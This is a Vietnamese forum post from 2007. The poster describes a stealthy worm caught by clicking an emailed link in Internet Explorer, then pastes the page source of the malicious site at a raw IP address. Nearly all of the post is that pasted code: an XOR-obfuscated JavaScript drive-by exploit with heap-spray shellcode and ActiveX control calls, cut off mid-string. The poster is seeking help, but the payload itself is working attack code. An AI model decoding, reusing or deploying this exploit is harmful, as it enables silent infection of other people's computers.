[Question] Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao ! |
22/08/2007 11:06:20 (+0700) | #1 | 80310 |
vhboyz
Member
|
0 |
|
|
Joined: 01/06/2007 23:32:47
Messages: 2
Offline
|
|
Do chủ quan không cẩn thận khi nhân được mail sau mình đã click vô link bên dưới bằng trình duyệt IE và lãnh trấu
con worm này lây vào máy nhưng cả Taskmanager và các chương trình xem các process đang hoạt động thì đều không có phát hiện gì lạ
Đành mở filemon ra thì phát hiện Spooldr các bác xem hình:
Tay nào viết con này mà cao tay quá,Xem DU Meter thấy nó đang download và upload ầm ầm
kiểm tra bằng filemon thấy đường dẫn của nó là C:\Windows\spooldr.exe nhưng vào thì không hề thấy tệp này đâu (mặc dù trong Floder Option mình đã bỏ chọn 2 phần ẩn tệp hệ thống và thư mục ẩn)
View Source trang : _http://87.207.105.191/ thu được:
Code:
<Script Language='JavaScript'> function xor_str(plain_str, xor_key){ var xored_str = ""; for (var i = 0 ; i < plain_str.length; ++i) xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i)); return xored_str; } function kaspersky(suck,dick){}; function kaspersky2(suck_dick,again){};var plain_str = "\x85\xa8\xaf\xa8\xaf\xd3\xc4\xd7\x85\xc8\xc8\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xd7\xd7\xc4\xdc\x8d\x8c\x9e\xa8\xaf\xd3\xc4\xd7\x85\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x85\x98\x85\x95\x9e\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xcd\x8d\x8c\x85\xde\xc8\xc8\x98\xc8\xc8\x9e\x85\xd6\xc0\xd1\xf1\xcc\xc8\xc0\xca\xd0\xd1\x8d\x87\xcd\x8d\x8c\x87\x89\x85\x97\x95\x95\x95\x8c\x9e\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xc2\xc0\xd1\xc7\x8d\xc7\x89\x85\xc7\xf6\xcc\xdf\xc0\x8c\xa8\xaf\xde\xd2\xcd\xcc\xc9\xc0\x85\x8d\xc7\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x8f\x97\x99\xc7\xf6\xcc\xdf\xc0\x8c\xde\xc7\x85\x8e\x98\x85\xc7\x9e\xd8\xa8\xaf\xc7\x85\x98\x85\xc7\x8b\xd6\xd0\xc7\xd6\xd1\xd7\xcc\xcb\xc2\x8d\x95\x89\xc7\xf6\xcc\xdf\xc0\x8a\x97\x8c\x9e\xd7\xc0\xd1\xd0\xd7\xcb\x85\xc7\x9e\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xc6\xc3\x8d\x8c\xa8\xaf\xde\xd3\xc4\xd7\x85\xdf\xc6\x85\x98\x85\x95\xdd\x95\xc1\x95\xc1\x95\xc1\x95\xc1\x9e\xa8\xaf\xd3\xc4\xd7\x85\xc4\x85\x98\x85\xd0\xcb\xc0\xd6\xc6\xc4\xd5\xc0\x8d\x87\x80\xd0\x91\x96\x91\x96\x80\xd0\x91\x96\x91\x96\x80\xd0\x95\xc3\xc0\xc7\x80\xd0\x96\x96\x90\xc7\x80\xd0\x93\x93\xc6\x9c\x80\xd0\x9d\x95\xc7\x9c\x80\xd0\x9d\x95\x95\x94\x80\xd0\xc0\xc3\x96\x96\x87\x85\x8e\xa8\xaf\x87\x80\xd0\xc0\x97\x91\x96\x80\xd0\xc0\xc7\xc3\xc4\x80\xd0\xc0\x9d\x95\x90\x80\xd0\xc3\xc3\xc0\xc6\x80\xd0\xc3\xc3\xc3\xc3\x80\xd0\x9d\xc7\x92\xc3\x80\xd0\xc1\xc3\x91\xc0\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x93\x91\xc0\xc3\x80\xd0\xc0\x96\xc4\xc3\x80\xd0\x9c\xc3\x93\x91\x80\xd0\x91\x97\xc3\x96\x80\xd0\x9c\xc3\x93\x91\x80\xd0\x93\xc0\xc0\x92\x80\xd0\xc0\xc3\x95\x96\x80\xd0\xc0\xc3\xc0\xc7\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x93\x91\xc0\xc3\x80\xd0\xc7\x9c\x95\x96\x80\xd0\x93\x94\x9d\x92\x80\xd0\xc0\x94\xc4\x94\x80\xd0\x95\x92\x95\x96\x80\xd0\xc0\xc3\x94\x94\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x93\x80\xd0\xc7\x9c\xc0\xc7\x80\xd0\x92\x92\x9d\x92\x80\xd0\x93\x90\x94\x94\x80\xd0\x95\x92\xc0\x94\x80\xd0\xc0\xc3\x94\xc3\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x93\x80\xd0\xc7\x9c\xc0\x92\x87\x85\x8e\xa8\xaf\x87\x80\xd0\xc6\xc4\x9d\x92\x80\xd0\x94\x95\x90\xc3\x80\xd0\x95\x92\x97\xc1\x80\xd0\xc0\xc3\x95\xc1\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x93\x80\xd0\xc7\x9c\xc0\x96\x80\xd0\x95\x95\x9d\x92\x80\xd0\x95\xc3\x97\x94\x80\xd0\x95\x92\x9d\xc3\x80\xd0\xc0\xc3\x96\xc7\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x93\x80\xd0\xc7\x9c\xc3\xc3\x80\xd0\x97\xc0\x9d\x92\x80\xd0\x95\xc4\x9c\x93\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x95\x92\x90\x92\x80\xd0\xc0\xc3\x97\x9c\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x93\x80\xd0\xc4\xc3\xc3\xc7\x80\xd0\xc1\x92\x93\xc3\x80\xd0\x9c\xc4\x97\xc6\x80\xd0\x93\x93\x94\x90\x80\xd0\xc3\x92\xc4\xc4\x80\xd0\xc0\x9d\x95\x93\x80\xd0\xc0\xc3\xc0\xc0\x80\xd0\xc7\x94\xc0\xc3\x80\xd0\x9c\xc4\x93\x93\x80\xd0\x93\x91\xc6\xc7\x80\xd0\xc0\xc7\xc4\xc4\x80\xd0\xc0\xc0\x9d\x90\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x93\x91\xc7\x93\x80\xd0\xc3\x92\xc7\xc4\x80\xd0\x95\x92\xc7\x9c\x80\xd0\xc0\xc3\x93\x91\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x9d\x92\xc7\xc3\x80\xd0\xc3\x90\xc1\x9c\x80\xd0\x9c\xc3\xc6\x95\x80\xd0\x92\x9d\x95\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x93\x93\xc0\xc3\x80\xd0\xc3\x96\xc4\xc4\x80\xd0\x97\xc4\x93\x91\x80\xd0\x97\xc3\x93\xc6\x80\xd0\x93\x93\xc7\xc3\x80\xd0\xc6\xc3\xc4\xc4\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x94\x95\x9d\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc7\xc3\xc0\xc3\x80\xd0\xc4\xc4\x93\x91\x80\xd0\x9d\x90\xc3\xc7\x80\xd0\xc7\x93\xc0\xc1\x80\xd0\xc7\xc4\x93\x91\x80\xd0\x95\x92\xc3\x92\x80\xd0\xc0\xc3\x9d\xc0\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc4\xc0\xc6\x80\xd0\x97\x9d\xc6\xc3\x80\xd0\xc7\x96\xc0\xc3\x80\xd0\xc6\x94\x9c\x94\x80\xd0\x97\x9d\x9d\xc4\x80\xd0\xc0\xc7\xc4\xc3\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x9d\xc4\x9c\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x9c\xc4\x94\x95\x80\xd0\x93\x91\xc6\xc3\x80\xd0\xc0\x96\xc4\xc4\x80\xd0\xc0\xc0\x9d\x90\x80\xd0\x93\x91\xc7\x93\x80\xd0\xc3\x92\xc7\xc4\x80\xd0\xc4\xc3\x95\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x9d\x90\xc0\xc3\x80\xd0\xc7\x92\xc0\x9d\x80\xd0\xc4\xc4\xc0\xc6\x80\xd0\xc1\xc6\xc6\xc7\x80\xd0\xc7\xc6\x96\x91\x80\xd0\x94\x95\xc7\xc6\x87\x85\x8e\xa8\xaf\x87\x80\xd0\xc6\xc3\x9c\xc4\x80\xd0\xc7\xc6\xc7\xc3\x80\xd0\xc4\xc4\x93\x91\x80\xd0\x9d\x90\xc3\x96\x80\xd0\xc7\x93\xc0\xc4\x80\xd0\xc7\xc4\x93\x91\x80\xd0\x95\x92\xc3\x92\x80\xd0\xc0\xc3\xc6\xc6\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc0\xc3\x9d\x90\x80\xd0\x9c\xc4\x94\x95\x80\xd0\x93\x91\xc6\xc3\x80\xd0\xc0\x92\xc4\xc4\x80\xd0\xc0\xc1\x9d\x90\x80\xd0\x93\x91\xc7\x93\x80\xd0\xc3\x92\xc7\xc4\x87\x85\x8e\xa8\xaf\x87\x80\xd0\xc3\xc3\x95\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\x9d\x90\xc0\xc3\x80\xd0\x93\x91\x94\x95\x80\xd0\xc3\xc3\xc4\xc4\x80\xd0\xc0\xc0\x9d\x90\x80\xd0\x93\x91\xc7\x93\x80\xd0\xc3\x92\xc7\xc4\x80\xd0\xc0\xc3\x95\x92\x80\xd0\xc0\xc3\xc0\xc3\x80\xd0\xc4\xc0\xc0\xc3\x80\xd0\xc7\xc1\xc7\x91\x80\xd0\x95\xc0\xc0\xc6\x80\xd0\x95\xc0\xc0\xc6\x80\xd0\x95\xc0\xc0\xc6\x80\xd0\x95\xc0\xc0\xc6\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x95\x96\x93\xc6\x80\xd0\xc7\x90\xc0\xc7\x80\xd0\x93\x91\xc7\xc6\x80\xd0\x95\xc1\x96\x90\x80\xd0\xc7\xc1\x94\x9d\x80\xd0\x95\xc3\x94\x95\x80\xd0\x93\x91\xc7\xc4\x80\xd0\x93\x91\x95\x96\x80\xd0\xc0\x92\x9c\x97\x80\xd0\xc7\x97\x93\x91\x80\xd0\xc7\x9c\xc0\x96\x80\xd0\x9c\xc6\x93\x91\x80\xd0\x93\x91\xc1\x96\x80\xd0\xc3\x94\x9c\xc7\x80\xd0\xc0\xc6\x9c\x92\x80\xd0\xc7\x9c\x94\xc6\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x9c\x9c\x93\x91\x80\xd0\xc0\xc6\xc6\xc3\x80\xd0\xc1\xc6\x94\xc6\x80\xd0\xc4\x93\x97\x93\x80\xd0\x91\x97\xc4\xc0\x80\xd0\x97\xc6\xc0\xc6\x80\xd0\xc1\xc6\xc7\x9c\x80\xd0\xc0\x95\x94\x9c\x80\xd0\xc3\xc3\x90\x94\x80\xd0\x94\xc1\xc1\x90\x80\xd0\xc0\x92\x9c\xc7\x80\xd0\x97\x94\x97\xc0\x80\xd0\xc0\xc6\xc0\x97\x80\xd0\xc4\xc3\x94\xc1\x80\xd0\x94\xc0\x95\x91\x80\xd0\x94\x94\xc1\x91\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x9c\xc4\xc7\x94\x80\xd0\xc7\x90\x95\xc4\x80\xd0\x95\x91\x93\x91\x80\xd0\xc7\x90\x93\x91\x80\xd0\xc0\xc6\xc6\xc7\x80\xd0\x9d\x9c\x96\x97\x80\xd0\xc0\x96\x93\x91\x80\xd0\x93\x91\xc4\x91\x80\xd0\xc3\x96\xc7\x90\x80\xd0\x96\x97\xc0\xc6\x80\xd0\xc0\xc7\x93\x91\x80\xd0\xc0\xc6\x93\x91\x80\xd0\xc7\x94\x97\xc4\x80\xd0\x97\xc1\xc7\x97\x80\xd0\xc0\xc3\xc0\x92\x80\xd0\x94\xc7\x95\x92\x87\x85\x8e\xa8\xaf\x87\x80\xd0\x94\x95\x94\x94\x80\xd0\xc7\xc4\x94\x95\x80\xd0\xc4\x96\xc7\xc1\x80\xd0\xc4\x95\xc4\x97\x80\xd0\xc0\xc3\xc4\x94\x80\xd0\x92\x91\x93\x9d\x80\xd0\x92\x95\x92\x91\x80\xd0\x97\xe3\x96\xe4\x80\xd0\x96\x9d\x97\xe3\x80\xd0\x97\xe0\x96\x92\x80\xd0\x96\x95\x96\x97\x80\xd0\x97\xe0\x96\x92\x80\xd0\x96\x95\x96\x94\x80\xd0\x97\xe0\x96\x90\x80\xd0\x96\x9c\x96\x94\x80\xd0\x97\xe3\x96\x94\x80\xd0\x93\x9c\x93\x93\x80\xd0\x93\x90\x93\xe6\x80\xd0\x92\x95\x97\xe0\x80\xd0\x92\x95\x93\x9d\x87\x8c\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xcd\xc0\xc4\xd5\xe7\xc9\xca\xc6\xce\xf6\xcc\xdf\xc0\x85\x98\x85\x95\xdd\x91\x95\x95\x95\x95\x95\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xd5\xc9\xd6\x85\x98\x85\xc4\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x85\x8f\x85\x97\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xc7\xf6\xcc\xdf\xc0\x85\x98\x85\xcd\xc0\xc4\xd5\xe7\xc9\xca\xc6\xce\xf6\xcc\xdf\xc0\x85\x88\x85\x8d\xd5\xc9\xd6\x8e\x95\xdd\x96\x9d\x8c\x9e\xa8\xaf\xac\xd3\xc4\xd7\x85\xc7\x85\x98\x85\xd0\xcb\xc0\xd6\xc6\xc4\xd5\xc0\x8d\x87\x80\xd0\x95\xc6\x95\xc6\x80\xd0\x95\xc6\x95\xc6\x87\x8c\x9e\xac\xc7\x85\x98\x85\xc2\xc0\xd1\xc7\x8d\xc7\x89\xc7\xf6\xcc\xdf\xc0\x8c\x9e\xa8\xaf\xac\xcd\xc0\xc4\xd5\xe7\xc9\xca\xc6\xce\xd6\x85\x98\x85\x8d\xdf\xc6\x85\x88\x85\x95\xdd\x91\x95\x95\x95\x95\x95\x8c\x8a\xcd\xc0\xc4\xd5\xe7\xc9\xca\xc6\xce\xf6\xcc\xdf\xc0\x9e\xa8\xaf\xac\xa8\xaf\xac\xc3\xca\xd7\x85\x8d\xcc\x98\x95\x9e\xcc\x99\xcd\xc0\xc4\xd5\xe7\xc9\xca\xc6\xce\xd6\x9e\xcc\x8e\x8e\x8c\xa8\xaf\xac\xde\xc8\xc8\xfe\xcc\xf8\x85\x98\x85\xc7\x85\x8e\x85\xc4\x9e\xd8\xa8\xaf\xa8\xaf\xac\xc8\xc0\xc8\xfa\xc3\xc9\xc4\xc2\x85\x98\x85\x94\x9e\xa8\xaf\xac\xcd\x8d\x8c\x9e\xa8\xaf\xac\xd7\xc0\xd1\xd0\xd7\xcb\x85\xc8\xc8\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xd6\xd1\xc4\xd7\xd1\xf2\xcc\xcb\xff\xcc\xd5\x8d\xca\xc7\xcf\xc0\xc6\xd1\x8c\xa8\xaf\xde\xa8\xaf\xac\xd3\xc4\xd7\x85\xdd\xcd\x85\x98\x85\x82\xe4\x82\x9e\xac\xd2\xcd\xcc\xc9\xc0\x85\x8d\xdd\xcd\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x85\x99\x85\x97\x96\x94\x8c\x85\xdd\xcd\x8e\x98\x82\xe4\x82\x9e\xac\xdd\xcd\x8e\x98\x87\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\xf9\xdd\x95\xc6\x87\x9e\xac\xca\xc7\xcf\xc0\xc6\xd1\x8b\xe6\xd7\xc0\xc4\xd1\xc0\xeb\xc0\xd2\xe3\xca\xc9\xc1\xc0\xd7\xe3\xd7\xca\xc8\xeb\xc4\xc8\xc0\x8d\xdd\xcd\x8c\x9e\xa8\xaf\xd8\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xd6\xd1\xc4\xd7\xd1\xf2\xf3\xe3\x8d\x8c\xa8\xaf\xde\xa8\xaf\xac\xc3\xca\xd7\x85\x8d\xcc\x98\x95\x9e\xcc\x99\x94\x97\x9d\x9e\xcc\x8e\x8e\x8c\xa8\xaf\xac\xde\xa8\xaf\xac\xac\xd1\xd7\xdc\xde\xac\xac\xac\xd3\xc4\xd7\x85\xd1\xc4\xd7\x85\x98\x85\xcb\xc0\xd2\x85\xe4\xc6\xd1\xcc\xd3\xc0\xfd\xea\xc7\xcf\xc0\xc6\xd1\x8d\x82\xf2\xc0\xc7\xf3\xcc\x82\x8e\x82\xc0\xd2\xe3\xca\xc9\x82\x8e\x82\xc1\xc0\x82\x8e\x82\xd7\xec\xc6\x82\x8e\x82\xca\xcb\x8b\xf2\xc0\xc7\xf3\xcc\x82\x8e\x82\xc0\xd2\xe3\xca\xc9\x82\x8e\x82\xc1\xc0\xd7\xec\x82\x8e\x82\xc6\xca\xcb\x8b\x94\x82\x8c\x9e\xa8\xaf\xac\xac\xac\xc1\x85\x98\x85\x95\xdd\x92\xc3\xc3\xc3\xc3\xc3\xc3\xc0\x9e\xa8\xaf\xac\xac\xac\xc7\x85\x98\x85\x95\xdd\x95\xc6\x95\xc6\x95\xc6\x95\xc6\xa8\xaf\xac\xac\xac\xd1\xc4\xd7\x8b\xd6\xc0\xd1\xf6\xc9\xcc\xc6\xc0\x8d\xc1\x89\x85\xc7\x89\x85\xc7\x89\x85\xc7\x85\x8c\x9e\x85\xa8\xaf\xac\xac\xd8\xc6\xc4\xd1\xc6\xcd\x8d\xc0\x8c\xde\xd8\xa8\xaf\xac\xd8\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xc0\xc9\xc0\xc4\x8d\x8c\xde\xa8\xaf\xd3\xc4\xd7\x85\xd0\xd7\xc9\x98\x87\xcd\xd1\xd1\xd5\x9f\x8a\x8a\xdd\xc4\x87\x9e\xd3\xc4\xd7\x85\xca\xd0\xd1\xf3\xc4\xc9\xd0\xc0\x98\x82\x82\x9e\xc3\xca\xd7\x8d\xcc\x98\x95\x9e\xcc\x99\xd0\xd7\xc9\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x9e\x8c\xde\xca\xd0\xd1\xf3\xc4\xc9\xd0\xc0\x8e\x98\x82\x80\xd0\x82\x8e\xd0\xd7\xc9\x8b\xc6\xcd\xc4\xd7\xe6\xca\xc1\xc0\xe4\xd1\x8d\xcc\x8e\x94\x8c\x8b\xd1\xca\xf6\xd1\xd7\xcc\xcb\xc2\x8d\x94\x93\x8c\x8e\xd0\xd7\xc9\x8b\xc6\xcd\xc4\xd7\xe6\xca\xc1\xc0\xe4\xd1\x8d\xcc\x8c\x8b\xd1\xca\xf6\xd1\xd7\xcc\xcb\xc2\x8d\x94\x93\x8c\x9e\xcc\x98\xcc\x8e\x97\x9e\xd8\xa8\xaf\xdd\x98\xd0\xcb\xc0\xd6\xc6\xc4\xd5\xc0\x8d\x87\x80\xd0\x9c\x95\x9c\x95\x80\xd0\x9c\x95\x9c\x95\x80\xd0\x9c\x95\x9c\x95\x80\xd0\x96\x96\x9c\x95\x80\xd0\x96\x96\xc6\x95\x80\xd0\xc0\xc7\xc6\x9c\x80\xd0\x90\xc0\x94\x97\x80\xd0\xc7\x9c\x93\x93\x80\xd0\xc3\x91\x95\x95\x80\xd0\xc3\xc0\x9d\xc7\x80\xd0\x97\xc0\x9d\x95\x80\xd0\x9d\x95\x95\xc7\x80\xd0\x95\x9c\x96\x93\x80\xd0\xc0\x97\x91\x93\x80\xd0\xc0\xc7\xc3\x92\x80\xd0\xc0\x9d\x95\x90\x80\xd0\xc3\xc3\xc0\x9c\x80\xd0\xc3\xc3\xc3\xc3\x80\xd0\xc4\xc0\xc0\xc7\x80\xd0\x94\x91\x94\x91\x80\xd0\x93\x94\x94\x91\x80\xd0\xc7\x96\x92\x9d\x80\xd0\x94\x91\x91\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x90\x91\x9d\xc1\x80\xd0\x9d\xc1\x94\x95\x80\xd0\x97\x95\x9d\x91\x80\xd0\x9d\xc1\xc4\xc3\x80\xd0\x95\xc6\x93\xc6\x80\xd0\x95\x9c\x9d\xc1\x80\xd0\x94\x9d\x93\xc0\x80\xd0\xc0\xc6\x90\xc7\x80\xd0\x94\x91\x91\xc0\x80\xd0\x94\x91\x94\x91\x80\xd0\xc3\xc7\xc3\x93\x80\xd0\x92\x94\x93\xc6\x80\xd0\x94\x91\x92\x97\x80\xd0\x93\xc6\x94\x91\x80\xd0\x9d\x93\x9d\x92\x80\xd0\x93\xc3\x92\x95\x80\xd0\x95\x94\x93\x9d\x80\xd0\x9d\xc1\x97\xc4\x80\xd0\xc0\xc6\xc0\xc6\x80\xd0\x94\x91\x91\x9d\x80\xd0\x94\x91\x94\x91\x80\xd0\xc3\x95\x9c\x90\x80\xd0\x9d\xc1\x96\x91\x80\xd0\x93\xc0\xc0\x95\x80\xd0\x93\x90\x96\x91\x80\xd0\x93\xc4\x95\x94\x80\xd0\xc1\x9c\x94\x9d\x80\xd0\x94\xc6\x94\x9d\x80\xd0\x92\x90\x93\x95\x80\xd0\x9d\x92\x9d\x91\x80\xd0\x90\x9d\xc1\x9c\x80\xd0\x94\x9d\x94\xc6\x80\xd0\x92\x92\x96\x97\x80\xd0\x92\x92\x92\xc6\x80\xd0\x90\x9d\xc1\xc4\x80\xd0\x95\xc6\x94\xc6\x80\xd0\x91\x90\x94\x91\x80\xd0\x93\x91\xc1\x91\x80\xd0\x93\x90\x93\x91\x80\xd0\x93\x91\x93\x9c\x80\xd0\x93\xc4\x95\x94\x80\xd0\x9d\xc1\x97\x91\x80\xd0\x93\xc0\xc0\x95\x80\xd0\x93\x90\x94\x92\x80\xd0\x93\xc4\x95\x94\x80\xd0\x95\x94\x95\xc6\x80\xd0\x94\x95\x93\xc4\x80\xd0\x93\xc4\x93\x96\x80\xd0\x9d\x92\x9d\xc1\x80\xd0\x9d\xc1\x91\x95\x80\xd0\x91\x92\x9d\x9d\x80\xd0\x94\x90\x92\xc6\x80\xd0\x93\xc4\x95\x92\x80\xd0\x9d\xc4\x9d\xc1\x80\xd0\x94\x90\x96\x91\x80\xd0\x91\x90\x95\x92\x80\xd0\x91\xc7\xc6\xc7\x80\xd0\xc4\xc3\x90\x96\x80\xd0\xc1\x92\x94\x90\x80\xd0\xc1\xc1\x91\x90\x80\xd0\xc6\x97\x94\x94\x80\xd0\x96\xc6\x97\x91\x80\xd0\x9d\x9d\x95\x93\x80\xd0\xc1\x96\x95\xc6\x80\xd0\x95\xc3\xc6\xc1\x80\xd0\xc1\xc0\x94\x90\x80\xd0\xc0\xc1\x90\x91\x80\xd0\x96\xc1\x95\x96\x80\xd0\x9d\x92\x97\x94\x80\xd0\x93\x97\xc3\x9c\x80\xd0\x93\x97\x9d\xc1\x80\xd0\x94\x90\x96\x9d\x80\xd0\x92\xc4\xc1\xc3\x80\xd0\x94\x95\x9d\xc1\x80\xd0\x9d\xc1\x91\xc1\x80\xd0\x97\x95\x93\x97\x80\xd0\xc1\xc3\x94\x90\x80\xd0\x94\x9d\x9d\xc1\x80\xd0\x94\x90\x9d\xc1\x80\xd0\xc4\xc1\xc1\x92\x80\xd0\x90\xc7\x93\x97\x80\xd0\xc0\xc6\xc1\x90\x80\xd0\x95\x94\x93\x96\x80\xd0\x95\x94\x95\x94\x80\xd0\x90\x97\x9c\x97\x80\xd0\xc3\x95\x94\x97\x80\xd0\xc1\xc1\xc0\xc3\x80\xd0\xc3\xc6\xc3\x95\x80\xd0\x95\x97\x9c\xc6\x80\xd0\x94\x97\x9d\xc0\x80\xd0\xc1\xc6\x9d\x97\x80\xd0\x9d\x90\xc3\x93\x80\xd0\x94\xc0\x91\xc4\x80\xd0\x9d\x91\x96\x94\x80\xd0\x9d\x9d\x93\xe6\x80\xd0\x9d\x91\x9d\x9d\x80\xd0\x96\x94\x96\xe0\x80\xd0\x96\xe6\x96\x94\x80\xd0\x96\x97\x91\x9c\x80\xd0\x91\x91\x91\x93\x80\xd0\x96\x97\x91\x9c\x80\xd0\x91\x91\x91\x96\x80\xd0\x96\x97\x91\x92\x80\xd0\x96\xe7\x91\x96\x80\xd0\x96\x94\x91\x96\x80\xd0\x93\xe7\x92\xe4\x80\xd0\x92\x92\x92\x95\x80\xd0\x9d\x91\x96\x97\x80\xd0\x9d\x91\x93\xe6\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x80\xd0\x94\x91\x94\x91\x87\x8e\xca\xd0\xd1\xf3\xc4\xc9\xd0\xc0\x8c\x9e\xa8\xaf\xdc\x98\xd0\xcb\xc0\xd6\xc6\xc4\xd5\xc0\x8d\x87\x80\xd0\x95\xc1\x95\xc1\x80\xd0\x95\xc1\x95\xc1\x87\x8c\x9e\xd2\xcd\xcc\xc9\xc0\x8d\xdc\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x99\x95\xdd\x91\x95\x95\x95\x95\x8c\xdc\x8e\x98\xdc\x9e\xdc\x98\xdc\x8b\xd6\xd0\xc7\xd6\xd1\xd7\xcc\xcb\xc2\x8d\x95\x89\x95\xdd\x96\xc3\xc3\xc0\x91\x88\xdd\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x8c\x9e\xca\x98\xcb\xc0\xd2\x85\xe4\xd7\xd7\xc4\xdc\x8d\x8c\x9e\xc3\xca\xd7\x8d\xcc\x98\x95\x9e\xcc\x99\x91\x90\x95\x9e\xcc\x8e\x8e\x8c\xca\xfe\xcc\xf8\x98\xdc\x8e\xdd\x9e\xdf\x98\xe8\xc4\xd1\xcd\x8b\xc6\xc0\xcc\xc9\x8d\x95\xdd\xc1\x95\xc1\x95\xc1\x95\xc1\x8c\x9e\xa8\xaf\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xd2\xd7\xcc\xd1\xc0\x8d\x82\x99\xca\xc7\xcf\xc0\xc6\xd1\x85\xc6\xc9\xc4\xd6\xd6\xcc\xc1\x98\x87\xe6\xe9\xf6\xec\xe1\x9f\xe0\xe6\x91\x91\x91\xe6\xe7\x93\x88\x96\xe0\x92\xe0\x88\x91\x9d\x93\x90\x88\xe7\x94\xe6\x96\x88\x95\xe1\xe0\x92\x97\xe0\xe3\x96\x9c\xe7\x96\xe3\x87\x9b\x99\x8a\xca\xc7\xcf\xc0\xc6\xd1\x9b\x82\x8c\x9e\xa8\xaf\xdf\x98\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xd6\xc6\xd7\xcc\xd5\xd1\xd6\xfe\x95\xf8\x8b\xc6\xd7\xc0\xc4\xd1\xc0\xe6\xca\xcb\xd1\xd7\xca\xc9\xf7\xc4\xcb\xc2\xc0\x8d\x8c\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x9e\xa8\xaf\xd8\xa8\xaf\xa8\xaf\xc3\xd0\xcb\xc6\xd1\xcc\xca\xcb\x85\xdc\xc4\xcd\x8d\x8c\xa8\xaf\xde\xa8\xaf\xd1\xd7\xdc\x85\xde\xa8\xaf\xc1\xca\xc6\xd0\xc8\xc0\xcb\xd1\x8b\xd2\xd7\xcc\xd1\xc0\x8d\x87\x99\xca\xc7\xcf\xc0\xc6\xd1\x85\xc6\xc9\xc4\xd6\xd6\xcc\xc1\x98\x82\x87\x8e\x87\xc6\xc9\xd6\xcc\xc1\x9f\x9c\xe1\x96\x9c\x97\x97\x96\xe0\x88\xe4\xe0\x9d\xe0\x88\x94\x87\x8e\x87\x94\xe1\x91\x88\x9d\xe3\xe1\x96\x88\x95\x95\xe1\x95\xe7\x92\x92\x96\x95\x97\x87\x8e\x87\x92\x92\x82\x85\xcc\xc1\x98\x82\xd1\xc4\x87\x8e\x87\xd7\xc2\xc0\xd1\x82\x9b\x99\x8a\x87\x8e\x87\xca\xc7\xcf\xc0\xc6\xd1\x9b\x87\x8c\x9e\xa8\xaf\xc8\xdc\xe7\xd0\xc3\xc3\x85\x98\x85\x82\xf9\xdd\x95\xc4\x82\x9e\x85\xa8\xaf\xd2\xcd\xcc\xc9\xc0\x85\x8d\xc8\xdc\xe7\xd0\xc3\xc3\x8b\xc9\xc0\xcb\xc2\xd1\xcd\x85\x99\x85\x90\x95\x95\x95\x8c\x85\xc8\xdc\xe7\xd0\xc3\xc3\x85\x8e\x98\x85\x82\xf9\xdd\x95\xc4\xf9\xdd\x95\xc4\xf9\xdd\x95\xc4\xf9\xdd\x95\xc4\x82\x9e\x85\xa8\xaf\xc0\xd3\xc4\xc9\x8d\xf6\xd1\xd7\xcc\xcb\xc2\x8b\xc3\xd7\xca\xc8\xe6\xcd\xc4\xd7\xe6\xca\xc1\xc0\x8d\x94\x94\x93\x89\x9c\x92\x89\x94\x94\x91\x89\x94\x95\x96\x89\x94\x95\x94\x89\x94\x94\x93\x89\x91\x93\x89\x94\x94\x90\x89\x94\x95\x94\x89\x94\x94\x91\x8c\x8e\x87\xd3\xc0\xd7\x85\x98\x85\xc8\xdc\xe7\xd0\xc3\xc3\x9e\x87\x8c\x9e\